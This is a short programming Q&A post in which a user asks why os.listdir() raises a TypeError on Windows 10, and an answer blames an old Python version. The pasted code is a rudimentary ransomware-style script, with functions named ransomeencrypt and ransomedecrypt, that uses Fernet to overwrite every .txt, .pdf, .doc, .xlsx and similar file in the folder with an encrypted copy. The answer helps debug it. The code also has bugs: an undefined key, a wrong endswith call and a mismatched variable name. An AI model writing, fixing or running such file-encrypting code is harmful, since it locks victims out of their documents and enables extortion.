TypeError: listdir() takes exactly 1 argument (0 given)

byMR

October 24, 2022

when I execute this in my win10 I get this error.
But when I am using:

dirs = os.listdir(path)
for file in dirs:
print(file)

I can see all the files in dir, I need help!

error: Raw_Files = os.listdir()
TypeError: listdir() takes exactly 1 argument (0 given)

def ransomeencrypt(file_name):
    Lock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    protected = Lock.encrypt (data)
    with open (file_name, 'wb') as file:
        file.write (protected)


def ransomedecrypt(file_name):
    Unlock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    decoded = Unlock.decrypt (data)
    with open (file_name, 'wb') as file:
        file.write (decoded)


Raw_Files = os.listdir()
Files = list()

for File in Raw_Files:
    if File.endswith('.txt', '.pdf', '.doc', '.docx', '.ppt', '.ppx', '.xls', '.xlsx'):
        Files.append (File)

function = ransomeencrypt

for File in Files:
    function (file)

>Solution :

From the documentation of os.listdir, it reads:

Changed in version 3.2: The path parameter became optional.

Since the TypeError: listdir() takes exactly 1 argument (0 given) error you’re getting suggests that the parameter is not optional, you’re probably running an old version of Python. Upgrading it should solve the issue.

Alternatively, you may supply '.' as the parameter like this.